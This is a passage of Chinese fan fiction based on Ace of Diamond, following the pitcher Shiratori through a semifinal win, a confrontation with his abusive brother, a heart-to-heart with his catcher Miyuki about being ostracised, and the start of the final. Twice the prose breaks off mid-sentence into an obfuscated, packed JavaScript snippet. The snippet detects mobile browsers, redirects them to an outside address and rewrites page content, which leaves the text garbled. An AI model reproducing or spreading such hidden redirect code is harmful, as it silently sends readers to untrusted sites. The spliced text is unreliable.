这一点点的距离,仿若天堑,隔开了朝日与那对投捕。 白鸟不在乎朝日脸上是什么样的表情,他等到御幸后就和他一起返回了休息区,迎接队友们的欢迎和摸头夸赞。 仙泉现在唯一能祈祷的,就是下半场不要被青道得分,将比赛拖进延长赛,再给他们一些时间与机会。 成宫鸣哼了一声从座位上起身,径直向着出口走去。 卡尔罗斯正兴致勃勃呢,见成宫鸣离场下意识追了几步:“鸣?还没结束呢你去哪?” “不看了不看了,我才不要看青道胜利后那耀武扬威的样子。” “可比分还是平分啊。” “如果这都打不出去,青道打线就完全不值得期待了,后天的决赛我们直接提前庆祝冠军好了。”成宫鸣摆摆手,身影消失在通道中。 原田叹了口气,他可不放心其一个人回去:“走吧。” 而且确实如成宫所说,若是这都打不出去,青道的核心打线就不会如此威名在外,不论仙泉的监督究竟是如何想的,现在这个局面,大概已是穷途末路。 真木的球已经开始被攻克,哪怕是第一次见如此高角度的球,青道的中心打线也硬是跟上了,他们都憋着一口气,强硬得要将比赛终结在这半局中。 见伊佐敷一改挥大棒的风格,硬生生纠缠了真木十几球,差点就是一记长打。鹈饲监督果断换上了右外野的王牌如月。 4棒依旧是保送战术,本来5棒也应该保送的,奈何7棒御幸是个垒上有人时发挥让人看不透的打者,最好让棒次结束在6棒,所以5棒结成就成了绕不过去的坎。 结成今次比赛中的打点并不好,比起神一把鬼一把的御幸,这对投捕选择了与结成谨慎对决。 就是这一决定,一切都结束了。 “呯!!!” 瞩目之下,仙泉的中坚手向着外野围墙飞速奔跑,他跑得拼命,眼中全是那颗白色的小球,甚至差点直接撞上围墙,但渐渐的他的脚步变慢最终只能无力地在墙前停下,眼睁睁地看着那格外高格外远的白色小球越过围墙,消失在一片郁郁葱葱之中。 “本垒打!!!”看台传来声嘶力竭的吼声,掌声顿时响彻球场。 “九局下半,青道5棒结成哲也的2分本垒打,青道一举逆转了比分!” 巨大的应援声轰然响彻云霄。 “结成!结成!结成!” “青道!青道!青道!” 他们对着绕场跑垒的结成举手欢呼,结成平时没有什么表情的脸上此刻也满是笑意,他破天荒地也举起手对着青道板凳席挥了挥手。 没人看见投手丘上,如月压低了帽檐,眼角的晶莹淹没在黑暗中。 东清国和结成一起跑回来时按住结成的头发,饱含欣喜狠狠搓了搓:“你小子真是抢我的风头。” 结果已经不言而喻,仙泉已经没了挣扎的力气,战线一击而溃。 最终,电子记分板的数字停留在1:5上,半局拿下了整整4分,青道赢下了这张夏甲预选赛决赛的入场券,他们距离甲子园又更近了一步。 39.兄弟 半决赛结束了。 真木阴郁地看着地面,握手时匆匆而过,他余光注意着“众星捧月”的白鸟,不甘在心底发酵。 说到底,青道虽然打败了仙泉但并没有打败他,他们来日方长。 市大三高和稻城实业的比赛即将在第二天开始,无论是谁赢得最终的胜利,第三天的决赛已经近在咫尺。 前辈们摩拳擦掌,无论是稻城实业还是市大三高,他们可都有数不清的“仇怨”要了结。 临近放学的某一课间,白鸟正在整理上一堂课的笔记,一个男生突然凑了过来。 “白鸟君,恭喜你们的球队进入决赛,是不是只要赢下最后一场比赛,青道就能进甲子园了?”他语气兴奋,却似乎并非全然为了口中所述。 白鸟在脑子里翻找了一下这张脸对应的名字:“是的,佐藤君。” 对于非棒球部的成员,白鸟和他们交集很少也没什么兴趣,能有些印象的大多不是课代表就是班级中的活跃份子,这位佐藤正是班级里一位较为有人气的现充。 因为有着一张不错的脸蛋,加之学生会成员的身份,他在班级中颇有名气,课间正常能看见他和他的小团体围在一起高谈阔论。 白鸟和他的交集不说少吧,可以说完全没有,平时也没见他对棒球感兴趣,现在是什么情况? 佐藤哈哈笑了几声,教室另一边关注着这里的他的小团体也跟着嬉闹了几句。 “是这样的,班上最近要举行联谊聚会,白鸟君有兴趣吗?年级中有不少人都是白鸟君的忠实粉丝,你能参加的话他们一定很高兴。” 说着,似乎知道白鸟的顾虑,佐藤很快加了一句:“不会耽搁你多长时间的,也就是今天晚上大概2、3个小时左右的聚餐。” “不用了,谢谢你的邀请。”思考连1分钟都没到,白鸟就拒绝了这份在他看来有些唐突的邀请。 佐藤脸上的微笑立刻消失了。 他转着眼珠子扫视了白鸟几眼,然后重新扬起笑容,这次的笑容携了几分微妙:“也是,你看样子也不像是缺追求者的样子。” 这种莫名其妙的恶意,没有理会的必要,因此白鸟冷淡地回到:“是吗。” 低头重新看向了自己的笔记。 佐藤见白鸟直接无视他,脸上的笑是彻底挂不住了,班级中注意着这里的同学见此低声议论了几句。 似乎意识到了什么,佐藤的小跟班们从班级的另一边向着这里走了过来。 正在此时,仓持从门口走了进来,他眼睛在教室里一扫,就明白了什么,立刻加快脚步走到了白鸟身边。 身子强硬地挤进白鸟和佐藤之间,冷冷地盯着佐藤道:“佐藤,有什么事吗?” 佐藤微微一愣,然后退后几步耸耸肩:“没什么,我只是想约白鸟君一起出去聚餐罢了,既然不行,那就算了吧。” 他转身进入了自己的小团体,像是什么都没发生一样,几人嘻嘻哈哈的离开了。 仓持松了口气,他倒是不怕那群人,但是夏甲预选赛的决赛在即,他实在不想惹出什么乱子。 白鸟拿笔杆子轻轻戳了戳仓持的腰,这个刚刚还一脸凶恶的人转过身时脸上的表情已经变成了恨铁不成钢的样子。 “你这家伙,我和御幸一不在教室,你就被欺负了,拿出一点你投球时的威慑力啊!” 白鸟眉梢扬起,笑眼弯弯:“谢谢洋一。” 一点红色蔓延上仓持的耳尖,他恨恨,色厉内茬道:“你谢我也没用。” “放心吧……”白鸟转了下手中的笔,“那群家伙不敢怎么样的,面对这种人,我知道如何应对。” 直到上课,仓持脑中依然萦绕着疑惑,白鸟那种似乎很熟悉那种状况的表现,究竟代表着什么呢? *** 决赛就在后天,接连的比赛日程让大家都积累了不少疲惫,但一想到再赢下一场,甲子园的大门就会朝着他们敞开,所有人又都鼓足了劲。 平素热闹的校园在夜晚沉寂下来,白鸟站在青心寮的天台上,耳朵里塞着耳机听着歌,风比起白天的库酷热要多添了几分凉爽。 远离人群,或者被朋友包围都是白鸟喜欢的。但偶尔他也需要一个人的时间,这种时候什么都不用想不用去顾虑,脑袋放空,耳畔只有歌曲的旋律。 放在横椅上的手机震动不休,带着耳机的白鸟完全没有注意到。 一个备注着白鸟修的名字闪了几下,见电话没有在10秒内被接起,很果断就挂断,然后属于短信的图标亮起。 “喂,你怎么又跑到天台听歌来了,快下来讨论决赛的配球了。”天台的门打开,御幸扬声招呼白鸟。 “好!”白鸟一边转身一边摘下耳机,等他拿起横椅上的手机,映入眼帘的那个名字让他瞬间锁起眉头。 「后天有个宴会,具体时间地点助理会通知你,准时是一个人最基本的教养。」 嗤笑一声,白鸟直接无视了这条短信。 “你不会是为了逃避看记分册所以总是往天台跑吧?”御幸抱臂靠在门口等着白鸟,狐疑地问道。 白鸟有些黑线:“没有,你想多了。” 他跟着御幸离开天台。 有时候也挺为自己悲哀的,无论怎么说自己也是家里的一份子,可无论是谁都并不在乎他,连他后天有重要的比赛都不知道。 竟然在这种时候要去他去参加什么宴会。 这个名为白鸟修的所谓的哥哥更是其中翘楚,从小就喜欢以打压他为乐,这么讨厌他还要忍着恶心给自己发信息,真是为难他了。 宴会多他一个不多,少他一个不少。白鸟不认为自己有回去的必要。 于是,第二天清晨,他从没想过会在监督的办公室里看见这个不该出现在这里的人。 被叫到监督办公室的路上,白鸟还在想是不是和明天的先发有关,他敲敲门,在里面传来让他进去的声音后推门而入。 “监督,高岛部长。” 在看见办公室里的不速之客后,白鸟眯起了眼睛。 白鸟修坐在一边的沙发上勾起唇角,皮笑肉不笑道:“两年不见,你还是这么没有礼貌,面对哥哥,作为弟弟的你不应该先行问好吗?” 他有着一头和白鸟京截然相反的黑色头发,遗传自父亲,浓紫色的眼睛遗传自母亲;白鸟京东白色头发遗传自母亲,金色眼睛则遗传自父亲。 说是兄弟俩,但两人却像是截然相反的两面,连脸都是一个比较像父亲一个比较像母亲。 懒得理他,白鸟面对监督:“监督,请问有什么事情吗?” 片冈监督看着面前剑拔弩张的两兄弟一时有些沉默,他斟酌了一下开口:“你的哥哥今天是来给你请假的。” 白鸟深吸一口气,其实他在看见白鸟修的时候就已经意识到了,但在监督嘴里听到还是顿感荒谬。 “监督,我昨天已经和父亲解释过明天要参加决赛所以无法赴宴的事情了,所以不用听他说的那些。” “抱歉监督,给你添麻烦了。” 坐在沙发上的白鸟修闻言眼睛微微眯起。 白鸟和监督道完歉,转头对着白鸟修说了见面后的第一句话:“听清楚了吗?可以请你从这里滚出去了吗?” 此言一出,片冈监督和高岛礼有些惊讶地看向白鸟,白鸟入队以来待人一向温和友善,他们从未见过他有如此疾言厉色的时候。 白鸟修冰冷地望了白鸟一眼,随后对着片冈监督道:“抱歉,看来是我搞错了,那我就不多叨扰各位了,不过我还有些话想和弟弟单独谈谈。” 白鸟正想说他没什么想和白鸟修说的,就被从沙发上起身的白鸟修抓住了肩膀,凑近低声道:“你想在他们面前丢人吗?当然了,我倒是无所谓。” 白鸟暗暗屏息,只觉得白鸟修靠近的每一秒都让他觉得恶心。 将肩膀上的手拍落,在监督的允许下白鸟和白鸟修一起走出了办公室。 高岛礼推推眼镜,她倒不是很意外,在白鸟入队显露天赋的那天,她就将白鸟的家庭状态和申请表上填写的青少棒队伍调查的差不多了。 白鸟家是开小型贸易公司的,也算颇有家资。高岛礼是青道校董的女儿,家境也十分优越,自然明白越是有钱的家庭,家里事务往往都一团糟。于此相对的,白鸟青少棒只待了两年的事情高岛礼也知道,但那个队伍的监督对此讳莫如深,并不打算告诉高岛礼原因。 可这种东西,但凡愿意思考一下都能明白,白鸟如此热爱棒球,在青道的训练不管多苦多累从无一句怨言,离队的原因不是伤病就是队内不合。自克里斯受伤一事,青道给全队都做了体检,白鸟的体检报告很健康,可见原因大概率就是第二种了。 远到不会被办公室的人听见声音,白鸟京和白鸟修听下脚步,两人间隔起码一米。 白鸟修也不再维持那副在外人面前的礼貌面具,满脸嫌恶地看着白鸟:“你还真是有出息了,学会了和父亲告状。” 他今天早上走得匆忙,父亲并没有将白鸟已经不再赴宴的事告诉他。 白鸟懒得和他多说:“你说告状就告状吧,我和你没什么好说的,以后我不希望在学校再看见你,如果你不信邪,可以试试我会不会真的告状。” 白鸟修嗤了一声,冷声道,“你似乎好了伤疤忘了痛,也不知道一年前把自己锁在家里的究竟是谁?我等着你重蹈覆辙,到时候,我一定会坐在特等席好好观摩你的失败的,白鸟京。” “你要记住……你就是个惹人厌烦的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739924|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家伙,你现在在这个队里能够生存只是因为你还有用,终有一日,你那些所谓的队友,会看清你的真面目,找到能够替代你的存在离你而去的,就像你曾经经历过的那些一样。” “无论在家里还是哪里,都没有你的位置。” 诅咒一样的话语,如毒蛇般缠绕在白鸟的脖颈上,他站在原地死死捏紧了拳头,眼中的金色浓郁的仿佛要滴落。他真的怀疑他和白鸟修之间究竟有没有血缘关系,血缘有时候甚至比不上陌生人。 “说够了吗,说够了就滚。”白鸟真想狠狠一拳砸在对面人的脸上,可是赛中禁止暴力事件的约束让他无法动弹,指节都因为无法克制的怒火而泛白。 “说够了?”白鸟修饶有兴致地欣赏着弟弟的愤怒,他像是想起了什么,做作道,“啊……我突然想起来,你在比赛期间不允许掺和进暴力冲突对吧。” 面前的人几步靠近。 白鸟的瞳孔骤然紧缩,耳边嗡鸣炸响,他应该尽力避免冲突拔腿就跑的,但他完全没想到白鸟修如此大胆以至于一时没反应过来。 掌风逼近的瞬间,一只手横插而至握住白鸟修的手腕。 熟悉的声音浸着从未听过的冰冷在身边响起:“你是谁?在青道打青道的王牌,未免有些太嚣张了吧。” 小凑凉介前辈以一种保护者的姿态挡在白鸟面前,白鸟呆呆地看着他后脑勺的粉发。 面对小凑几乎是带着杀气的眼神,白鸟修挣开,遗憾地甩甩手:“你误会了,我只是看见亲爱的弟弟头上有一片叶子,想帮他拿走罢了。” 既然有外人在场,白鸟修也不再纠缠,他好像刚刚什么也没说什么也没做一样,彬彬有礼地道别离开了。 “兄弟?”小凑挑眉转身,粉色的眼睛认真地看向白鸟。 讷讷了几句,白鸟沮丧道:“是的,他叫白鸟修,是比我大3岁的哥哥。” “亲的?” “亲的……” 两人之间陷入沉默。 白鸟伪装出的从容濒临破碎,对其出手相助感动之余更多的羞耻与窘迫却让他想要夺路而逃。他和小凑前辈在球场上默契不错,但几乎没什么私交,虽然小凑前辈和伊佐敷前辈总是一起出现,但他反而与下巴留着小胡子,面容更凶恶的伊佐敷前辈关系更好一点。 可能是因为他和小凑前辈都是界限感很强的人,默契地停留在了合适的社交距离。 但此次事件已经完全突破了这道安全线,线之内是他不堪入目的家庭关系,火烧火燎的痛苦爬上身躯一路烧到脸颊,风触碰皮肤都感觉刺痛。 他听见了吗! 他听见了吗? 他听见了吗…… 情绪濒临崩溃的时候,白鸟反而冷静下来,他感觉到一种抽离,看见自己的脸露出一个熟练的笑容。 “谢谢你,小凑前辈。” “没什么需要道谢的。”小凑没有在此刻说一些冷酷的话,他犹豫了片刻第一次伸手摸了摸白鸟的头。 那双金色的眼睛慢慢睁大,那些讨人厌的污浊与晦暗被一个动作轻易涤去。 小凑难得感到有些不自在,飞速收回了手。 克里斯说白鸟需要被肯定被鼓励,他那时嗤之以鼻。什么啊,拥有着常人难以企及天赋的家伙还需要被鼓励?是有多骄纵啊,难道还得哄着他打棒球吗? 他不至于讨厌,但也不想亲近。 直到训练时相处的时间增多才逐渐改观。 怪不得这么长住宿时间,从未见过白鸟回家或者和家人打电话,也没听他聊过家里的事情,这家庭关系真是比冷漠还要恶劣。 就这一次,他只是看这家伙可怜罢了,谁让他也有个傻弟弟。 冷静了一会儿,白鸟复又敲门进入了监督的办公室。 “抱歉监督,我家里的事影响到了队里,以后不会了。我保证不会因此影响明天的比赛。”白鸟鞠躬道歉,语气坚定。 片冈监督向前几步,宽厚的手放在了白鸟肩膀上,同样的动作由监督来做带给白鸟的是完全不一样的感受。 “我们对你的信任,不会因为这种小事或者他人的几句话改变的。”片冈监督作为国文老师,拥有一颗共情能力很强的心,他深刻的明白语言的重要性,因此不会吝啬言语。 白鸟心中一震,他抬头看着片冈监督的眼睛。 片冈监督见白鸟抬起头便收回了手,他迎着学生的眼睛认真道:“你带给了青道希望,白鸟。请你相信自己你永远是青道不可或缺的一员,是我选择的王牌!” “!”白鸟眼眶有些发热,面对监督的话语和高岛部长含笑的注视,他深吸一口气抬头挺胸,金色的眼睛亮起些微的光。 “是!监督,我永远不会让您,让队伍失望的!” 40.生长痛 回到训练场,白鸟很快加入进了晨练的队伍里,他离开的时间其实并不长,奈何他的存在感不低,哪怕离开一秒也会被人发现。 “监督喊你干啥去了?是不是先发名单的事情?”仓持好奇地问道。 白鸟摇摇头,顺着他的话说道:“先发名单都是一起发布的,怎么会提前告诉我。话说一也呢?” 仓持耸耸肩:“刚刚说自己肚子疼去厕所了。” 一点淡淡的担心萦绕在白鸟心里。没过一会儿,御幸从厕所的方向跑了过来,他面无异色,进入队伍后抱怨了几句昨天喝的饮料。 先发名单不出所料,和半决赛不同的地方是投手变成了白鸟京,投手的棒次移动到了六棒,御幸依旧是七棒,加藤和坂井的棒次顺延。 监督宣布完先发名单便是关于决赛的战术安排,这一次的情报获取克里斯也参与了其中,他决定在还不能参与训练之前先在其他方面帮助队伍。 早上的插曲似乎没有影响任何事。 直到夜晚的天台,那扇门再次被推开,夏天的夜黑的慢,此刻的天空呈现一种靛青的蓝调,站在高处时那低垂天空仿佛要压进人的心底。 御幸站在白鸟身后,沉默半晌道:“今天早上我都听见了。” 说是都听见其实因为尴尬加之距离有些远,他只听见了对话的末尾,正准备过去时变故突发,小凑前辈出现解决了问题,他也不知该如何面对这样的白鸟,便没能在合适的时候出现。 集体训练时就更不是合适的时机了。 但他到底担心,便克服了内心的种种复杂情绪,来到了这里。 这一刻,白鸟才有种尘埃落定的感觉,他知道,命运向来不会太眷顾他。 白鸟摘下耳机,里头并没有音乐声,转身时夜风扬起他的领口与发丝,发丝纷扬间那双眼睛宛如夜色里的太阳,但终究不会如真正的太阳一般带来光明与温度。 “我猜到了。” 御幸走上前和白鸟一起趴在天台的围栏上,面前是为了安全布置的铁丝网,那些菱格将视野分割成一块一块的,恍惚有种他们其实不在天台而是棒球场边的错觉。 “这种事情被你看见,感觉有点丢人啊……不过这些事情不会再影响我投球,你放心吧。”白鸟的笑容一如既往。 御幸伸手抓了下头发,动作间似乎有些烦躁,他呼出一口气:“我知道,只要站在那个投手丘上,你就会变成最可靠的那个。” “但问题不在这里。”御幸其实并不想要在决赛前和白鸟说这些的,他完全可以当做没有看见今天遇见的那一幕,与人交心是一件很麻烦的事情,他讨厌去过多参与另一个人的人生,他认为每个人都应当为自己的选择负责,因为御幸自己,就是这么走过来的。 可是内心深处却有个声音在告诉他,这是不行的。 无论是作为捕手还是朋友,他都有该做的事情。 手指蜷缩了一瞬间,白鸟听见自己在问:“那在哪?” 御幸没有看白鸟,他抬头看着那片靛青的天:“棒球对你而言是什么呢,京?” 棒球对我而言是什么呢?白鸟的唇角颤抖一下,他放弃了去维持这个笑容,沉默着。 是啊,世界这么大,能做的事情那么多,他是为什么打棒球的?他想起那些孤独的日子,还有在梦中的世界和要圭说的话。 他想说点什么,可也许是沉默了太久,一时之间他竟无法出声。 真的要说吗?真的会有人理解他吗?可若是连第一个亲口对他说要成为他搭档的捕手都无法信任,在这个世界,真的还会有可以信任的存在吗? 白鸟的后颈因为紧张冒出一层薄汗,他呼出一口有点颤抖的气,艰难开口道:“一开始,我只是想要一个朋友……” “就像你看到的那样,我的家人并不在乎我,小时候的我周围除了那个讨厌我的白鸟修,并没有同龄人存在。” “而棒球,是第一个进入我的世界的团体运动。” “一起训练,一起成长,在比赛中所有人一体同心,无论是输还是赢,他们间的羁绊让我觉得很幸福,我想……我也要得到这样的幸福。”白鸟逐渐陷入童年的回忆,话语也越说越顺畅,这些话他憋在心里很久了,从前以为一辈子都不会说出口,现在却觉得也没有自己想的那么难。 或许是因为御幸是不一样的,也或许是因为他在今天这些事情的刺激下,有些破罐子破摔。无论哪样都好,既然说了,他就想将其都说完。 当初,要圭为了陪伴叶流火进入了少棒队一起训练,他作为旁观者,从一开始的只想和他们两个一起,渐渐在日复一日的了解中感受到了棒球的魅力。 而绫濑川,这个所有运动都能游刃有余的运动天才,也在小鹿斑比这个棒球队伍中找到了属于他的快乐,属于他的不离不弃的朋友。 这让白鸟对自己应该去打棒球这个想法更加深信不疑。 “也许不是我选择了棒球,而是棒球选择了我,要不然为什么那时候出现的偏偏是棒球呢?” “这种想法相当傲慢吧?”白鸟的唇畔下意识牵出一抹笑,眼中却没有丝毫笑意。 白鸟的目光突然探寻似的落在御幸脸上:“一也……对你而言,站在赛场上时身边的队友们是能够托付一切、一起背负所有的同伴,还是只是因为想要打棒球,偶然同行心思各异的合作者呢?” 他似乎没想要他回答,自顾自接着道:“于我而言,只想要前者,但是这种事情哪里是自己能控制的,我能控制的只有自己。” 仗着暗淡的天光,御幸没在看他,白鸟脸上难得出现了类似阴郁的情绪。 别看他如今风光,当初刚刚加入少棒队时可以说相当不顺利。小时候的他发育的晚,个子矮体力差,运动神经也不怎么样,社交能力更是一点都无,在队里像是个透明人。 小学生的爱恨都很简单,白鸟一开始还能与几个和他一样上不了场的报团取暖,在少棒队不算孤身一人。 直到父亲见他喜欢棒球,开始插手,虽然那时父亲与母亲的关系已经在破裂的边缘,连带着开始迁怒他这个在不合适的时候出生的小儿子。 但也许是不想他丢人吧,父亲找到队里花了一些钱让教练多关注他。 情况自此急转直下。 不患寡而患不均。自此他就被完全孤立了。能力强的讨厌他这个花钱走后台的,能力弱的讨厌他这个被教练偏爱的。 但白鸟都拼命忍耐住了,他觉得,确实是自己错了,但只要能变强,就一定能改变他们的看法。 白鸟垂着头:“再后来,我意识到想要拥有一个真正的朋友,是比赢下比赛还要困难的事情后,我的目的就变成了想要一直赢下去,我要向那些看不起我的人证明,我也是有用的,是会被人选择的。” “球队需要的是赢,队友们想要是一个永远稳定永远强大的投手,只要胜利下去,其他一切都是不必要的。” 可是,情况又变得不一样了。 “我和你说过,我在大阪加入了青少棒队对吧?”白鸟露出个比哭还难看的笑容,“我以为只要变得强大,所面对的困难都会迎刃而解,英雄收获鲜花和奖励,这不是理所当然吗?” 这次他吸取教训没再让家里人插手,作为青少棒队里普通的一员跟着教练训练。 进入青少棒的第一年末,白鸟终于迎来了等待已久的生长期,他的个子一下子从160cm拔高到177cm,体格的增长让曾经一切觉得难以跨越的难关都变得不是问题,加之他一直持之以恒的锻炼打下的坚实基础,可以说,半年不到,他的棒球实力就完全变了个人。 从吊车尾隐隐有超越那时队里的王牌投手的趋势。 强大,梦寐以求的强大让白鸟欣喜若狂,可现实却是当头一棒。 王牌……哪个投手能忽视王牌的意义呢?他野心勃勃地想要夺走那个闪闪发光的位置,然后无法转圜地再一次迎来了失败。 因为不再是一样的立场,无论说什么都变成了傲慢。 ‘你想当王牌?开什么玩笑,我们绝对不会承认你,说到底陪我们一路走来的是■■■,你这个「幸运」的家伙,不过就是中了基因彩票能投出速球了而已,别小看棒球啊!” ‘■■■对你这么好,你就是用抢位置的方式报答他的?哇~白眼狼~” ‘你为什么要争强好胜,搞得队伍氛围这么差,烦死了。’ ‘抱歉白鸟,接你的球让我感觉很不好,球队需要的是■■■那样的投手,不是你这种仗着天赋野蛮投球的家伙,你以后还是去找别人接球吧。’ 究竟是什么不对,是因为我太得意了?是因为我太傲慢了? 为什么我弱小时被厌弃,变得强大后依旧还是被抛弃的那个?! 这种情况,教练也没办法强行让白鸟登场投球,他到底要顾及大多数人的想法。俱乐部不是学校也不是职业球团,家长团的权利不小,教练需要维持平衡。 白鸟就这样在板凳上坐了大半年。 可委曲求全并不会迎来好的结果,有了裂痕的镜子,只有破碎这一个结局。 在他退出青少棒后,教练曾找到他家和他道歉,说他太年轻,第一次当教练还有很多不足,非常对不起让他在队里遭遇了这样的事,希望他一定不要放弃棒球,说他有不能被辜负的棒球天赋。 哈……对不起,如果简简单单一句道歉就能收获原谅,那白鸟不觉得教练有什么要对他说对不起的,因为他绝不会原谅那群人,也绝不会放弃棒球。 他不想对这些妥协,所以无论是面对至亲之人的恶意还是曾经队友的恶意,他都硬撑着让自己不去在意。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739925|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 好像只要催眠自己不去在乎,那些痛苦就不会在心中生根发芽,日日夜夜的折磨他。 改变的契机是梦境中绫濑川进入了U12的国家队。 ———绫濑川,一个真正的棒球天才。一个……同他一样被排挤,明明想要得到快乐,事情却永远与之相背的朋友。 怎么也想不通的事情,终于有了合理的解释。 人心是世界上最恐怖的东西。他因自己的经历知道了人会厌恶「弱小」,因绫濑川知道了人同样也会讨厌「强大」。 只有「合群」才能获得安稳友善的世界。 他曾站在三者的立场上去看这个世界,发现人是一定会因立场而改变的动物。 白鸟咬牙,几乎是怀着恨意的发问:“擅自失望、擅自让人失望。我不明白,怎么才能做到让所有人满意呢?怎么才能不让在意的人失望呢?怎么才能不再被背叛?” 这个问题其实没有答案。 没等御幸回答,白鸟率先移开了视线,他使劲闭了闭眼,将因为剖析自己时浮现的恶心压下。 “对不起,我让你失望了。”喉咙仿佛咽下一把细沙,说出的每个字都透着血腥味,迟来的疼痛随着这句话蔓延至心口。 他不知道什么时候又会迎来改变,所以他总是强迫自己做到最好,这样也许末日会来的更迟一点。 所有的美好都宛如手中的沙砾,越想要攥紧流失的就越快。他害怕去期待,那是一种半清醒半疯狂的燃烧*,比从未得到更残忍的,是得到了又失去。 御幸握着围栏,先是皱着眉深深地叹了口气,然后气势汹汹地转过身看向白鸟,他转身时踩在地上的那一脚用了十足的力气:“你这家伙,是笨蛋吗?!” 他走近一步,眼镜都挡不住他金棕色眼中灼人的怒火:“我什么时候说我对你失望了?” 白鸟豁然抬头下意识退后半步,他愕然地看着怒气冲冲的御幸,奇怪的,面对这样的御幸,他感觉自己几近停滞的心脏重新跳动起来。 御幸看着这样的白鸟,语气倏忽间和缓下来:“对此感到失望的不该是我,该是那些混蛋才对,他们的行为没能打倒你,你做的远比他们想象的更为出色。” “你已经用自己的表现证明了自己,无论面对谁,我都能说出——青道的王牌只能是你。” “不要被那些无关紧要的人影响,你已经相当明白这个道理了,不是吗?” 白鸟的话打破了他所有的担心,这个看上去脆弱的家伙经历的东西比他想象中的还多,他从未想过棒球能给人带来如此多的痛苦……而淌过泥潭走到如今的白鸟,他的精神一定比他预料的要更坚韧,同时他的心也更脆弱。 御幸向着白鸟伸出手:“过去的无法改变,但现在你是我的搭档,我的……朋友。” “虽然很不习惯,但如果说出来能让你安心……”御幸深吸一口气,“信任我吧,无论是作为捕手还是朋友。” 看着那只手,白鸟感觉自己如坠幻梦,他等这一句话等了太久了,等到已经不抱希望。 他犹豫了很久才试探着伸出手,生怕一旦握上,才发现这一切又只是一场会醒过来的美梦。 白鸟喃喃道:“我嫉妒心很强的。” “我喜欢嫉妒心强的投手,因为他们一般会拥有更多的求胜心。” “……我也可以有资格明确的讨厌一个人吗?” “当然,喜欢和讨厌都是人最基本的权利。” “……我讨厌白鸟修,我讨厌那些偷奸耍滑、道德绑架的前队友,我讨厌优柔寡断的前教练,我讨厌那些无论如何努力都无法改变的事情……” “但是……”白鸟握紧御幸的手,两人从小打棒球打到大,手掌心全是茧子,触感惊人的相似,而这份相似在此刻带来了无与伦比的安全感,一滴眼泪从脸颊滚落,“我还有很多喜欢、想感激的对象。” 要圭与绫濑川,若不是他们,在那种环境长大的他,大概不会成为现在这样较为健全的人。 无论是克里斯前辈、村田前辈还是伊佐敷前辈、小凑前辈他们……这些前辈们重刷了他对于前辈这个称呼的排斥,从执迷中回头,重新萌生出对同伴的信任。 还有谢谢片冈监督愿意相信他,让他成为青道的王牌,打破了他面对王牌位置时的一些自我质疑。 而同辈中,一也、洋一、川上、小野……他们则是最优秀的朋友,让他不再孤独。 “这个世界有时让人只想逃离,有时候又让人觉得似乎不坏。” “离开青少棒后,为了能继续打棒球,父母给我找了一个私教老师。老师说,我想要的东西在这条路上走得越远越是难以追寻。他告诉我只有在高中完整追求一次甲子园,才能真正明白钻石场的意义。” “而我最终选择了青道真是太好了。” 41.决赛·稻城实业 次日清晨,神宫球场之外已经聚集了一大群人,在比赛还要几小时才开始之前,粉丝们就已经先行到场。 夏季甲子园的关注度从来都是最高的,而西东京这个地区的竞争力又向来名列前茅,无论是青道还是稻城实业都有着一大批支持者。 甚至此次比赛还有一些看上去就很专业的人员混杂其中,青道和稻城实业的两个队长皆已被职业球团的球探关注,今年的夏甲就是他们最后能够进入甲子园的机会了,这注定是一场龙争虎斗。 而这种拼尽全力的场合,往往最能看出一个球员的实力究竟如何。 “不愧是决赛,人真多啊!”青道的队员们从大巴上陆续下车,仓持看见光是场外就已经聚集了这么多观众忍不住咋舌。 “这可是夏甲预选赛的决赛。”村田握紧了肩上的包带,这也是他最后一次能进甲子园的机会了。 “今天监督很可能会让你完投,你的体力能坚持住吗?”此时艳阳高照,体感温度已经在30度以上,御幸低声询问旁边的白鸟。 白鸟点头:“没问题的,半决赛我投的不多,不如说我已经迫不及待想登板投球了。” “那就好。” 昨晚说开之后,他能感觉白鸟的心情和状态都回升了很多,他还是喜欢看这张脸上露出笑容的样子。 比赛之前有热身和修整的时间,仓持说要去上厕所,在御幸的调笑下,三人索性一起去了。 结果…… “呜啊!一也和那个火球!”成宫鸣咋咋呼呼的声音在走廊里传来。 这什么外号啊,白鸟嘴角抽了抽。 成宫鸣身后也跟着两个稻实的队员,一个留着遮着一只眼睛的刘海让人不禁怀疑这样真的能看清球吗?一个皮肤黝黑一看就是混血儿长相。 淡金发的投手迈着六亲不认的步伐走到等在厕所门口的两人面前:“怎么样,看见成宫大人在预选赛上的英姿了吧。哼哼,这次你们一定会成为我们的手下败将。” 白鸟微笑着指着自己故意弯腰对着成宫鸣道:“我叫白鸟京。” “喂!上次就想说了你这个弯腰是什么意思!!”成宫鸣果然炸毛了。 御幸苦笑地看着这两个投手,这两个人果然不对付吧。 “白河,卡尔罗斯,你们果然也进一军了啊。”御幸索性先无视那边的情况,和另外两个人打了个招呼。 卡尔罗斯黑黑的皮肤上露出一口白牙:“呀,真是好久不见,御幸你已经成为青道的正捕手了啊。” 白河冷哼一声:“你都能进一军为什么我们不行。” “这一次一定是我的胜利!”成宫鸣可不服气,身高比不过那就比投球技术。 白鸟游刃有余地直起身子:“是吗?那我很期待今天的交手哦,小·鸣。” “不许叫我小鸣!”成宫鸣气得跳脚,浅金色的头发都烧起来了。 白河在一旁凉凉地补刀:“鸣,你确实比人家矮了半个头。” “白河你到底是哪边的!”成宫鸣转头怒视队友。 